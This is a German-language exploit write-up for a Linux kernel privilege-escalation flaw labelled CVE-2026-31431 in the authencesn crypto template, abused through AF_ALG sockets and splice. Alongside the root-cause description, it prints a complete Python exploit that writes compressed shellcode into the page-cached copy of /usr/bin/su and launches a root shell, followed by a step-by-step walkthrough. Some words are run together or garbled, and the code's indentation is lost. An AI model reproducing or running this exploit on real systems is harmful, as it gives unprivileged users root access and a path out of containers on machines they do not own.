
# Lokaler Privilege-Escalation-Exploit für CVE-2026-31431 Korruptiert setuid-Binärdateien im Page Cache über AF_ALG und splice, um eine Root-Shell zu erlangen.
Ein logischer Fehler in der AEAD-Vorlage
authencesndes Linux-Kernels ermöglicht es einem unprivilegierten Benutzer, 4 kontrollierte Bytes in den Seitencache einer beliebigen lesbaren Datei zu schreiben.
Das bereitgestellte Python-Skript korrumpiert
/usr/bin/suim Speicher und erzeugt eine Root-Shell.
CVE-2026-31431 ist eine Schwachstelle im kryptografischen Subsystem des Linux-Kernels, insbesondere in der Vorlage authencesn (AEAD mit erweiterter Sequenznummer) in Kombination mit der Socket-Schnittstelle AF_ALG und dem Systemaufruf splice().
Grundursache: Die Entschlüsselungsroutine authencesn verwendet die Streuliste des Ziels als temporären Speicher und schreibt 4 Bytes über den legitimen Ausgabebereich hinaus.
Wenn AF_ALG eine AEAD-Operation in situ durchführt und splice() Seiten aus dem Seitencache (z. B. von einem setuid-Binärprogramm) als Authentifizierungstag bereitstellt, landet der Schreibzugriff außerhalb der Grenzen direkt in der Kernel-Cache-Kopie dieser Datei.
Auswirkung: Ein lokaler Angreifer ohne Privilegien kann jede an 4 Bytes ausgerichtete Stelle in jeder Datei überschreiben, die er lesen kann. Die Korruption tritt nur im Seitencache auf; die Datei auf der Festplatte bleibt unverändert, wodurch Dateiintegritätsprüfungen umgangen werden.
Impact: Durch das Überschreiben eines setuid-Binärprogramms (z. B. /usr/bin/su) mit Shellcode kann ein Angreifer das Binärprogramm ausführen und eine Root-Shell erhalten. Dieselbe Primitive funktioniert in verschiedenen Containern, da der Seitencache mit dem Host geteilt wird.
exploi-copyfail.py)Der Exploit ist ein einzelnes Python-Skript mit 732 Bytes, das ausschließlich die Standardbibliothek (os, socket, zlib) verwendet. Es funktioniert auf jeder Linux-Distribution mit Kernel-Versionen von 2017 bis 2026 (vor dem Patch).
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
Einrichtung: Es wird ein AF_ALG-Socket geöffnet, der an authencesn(hmac(sha256),cbc(aes)) gebunden ist, ein Dummy-Schlüssel festgelegt und eine Anfrage akzeptiert.
Nutzlast: Der Shellcode (dekomprimiert aus dem Hex-Blob) wird in 4-Byte-Fragmente aufgeteilt.
Korruptionsschleife: Für jedes Fragment:
sendmsg() liefert die zugehörigen authentifizierten Daten (AAD). Die Bytes 4 bis 7 der AAD enthalten die 4 Bytes, die geschrieben werden sollen.
splice() fügt einen Teil von /usr/bin/su (das Ziel-setuid-Binärprogramm) in die TX-Streuliste des Sockets ein. Der Offset und die Länge werden so gewählt, dass sich die Region des Authentifizierungstags an der Zieladresse innerhalb des .text-Abschnitts des Binärprogramms befindet.
recv() löst die AEAD-Entschlüsselung aus; authencesn schreibt das 4-Byte-Fragment in den Seitencache von /usr/bin/su. Der HMAC schlägt fehl, aber der Schreibvorgang bleibt bestehen.
Ausführung: Sobald alle Fragmente geschrieben sind, führt das Skript su aus. Da die zwischengespeicherte Version nun Shellcode enthält, wird su mit Root-Rechten ausgeführt und öffnet eine Shell.